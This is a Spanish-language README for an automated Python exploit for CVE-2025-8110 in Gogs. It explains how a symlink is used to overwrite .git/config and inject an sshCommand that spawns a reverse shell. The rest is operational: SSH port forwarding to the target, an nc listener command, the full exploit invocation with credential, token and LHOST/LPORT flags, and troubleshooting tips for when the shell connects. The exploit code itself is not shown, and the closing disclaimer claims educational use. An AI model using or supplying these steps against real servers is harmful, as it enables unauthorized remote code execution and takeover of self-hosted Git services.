
Gogs CVE-2025-8110 RCE Exploit
Un exploit automatizado en Python para CVE-2025-8110 en Gogs. Esta vulnerabilidad permite la Ejecución Remota de Código (RCE) abusando de la API PutContents, que no valida si una ruta de archivo es un enlace simbólico. Sobrescribiendo el archivo interno .git/config mediante un enlace simbólico, podemos inyectar un sshCommand malicioso para desencadenar una shell inversa.
Asegúrate de tener Python 3 y las dependencias necesarias instaladas:
pip install requests rich beautifulsoup4
También debes tener git instalado y accesible en tu $PATH para la fase de clonación y commit del repositorio.
Gogs puede estar vinculado a 127.0.0.1:3001. Usa el reenvío de puertos para acceder a la WebUI localmente:
ssh -L 3001:127.0.0.1:3001 user@target-ip
Una vez reenviado, navega a http://localhost:3001:
El script usa la API de Gogs para entregar el payload:
Inicia tu listener antes de ejecutar el script, ya que la shell se activa tan pronto como se procesa la actualización de la API.
nc -lvnp 5555
Pasa tus credenciales y el token como argumentos:
python3 exploit.py -u http://localhost:3001 -un <YOUR_USER> -pw <YOUR_PASS> -t <YOUR_TOKEN> -lh <YOUR_IP> -lp 5555
| Flag | Descripción |
|---|---|
-u | La URL base de la instancia de Gogs (por ejemplo, http://localhost:3001). |
-un | El nombre de usuario de la cuenta que creaste. |
-pw | La contraseña de la cuenta que creaste. |
-t | El token de API generado en Settings. |
-lh | La dirección IP de tu listener (LHOST). |
-lp | El puerto de tu listener (LPORT). |
Nota: Si el script se cuelga o devuelve un
Read timed outdespués de "Overwriting .git/config", verifica tu listener. Esto suele indicar que la shell inversa se ha conectado exitosamente y está manteniendo la conexión.
Autor: TYehan
Descargo de responsabilidad: Esta herramienta es solo para fines educativos y auditorías de seguridad autorizadas. Úsala de manera responsable.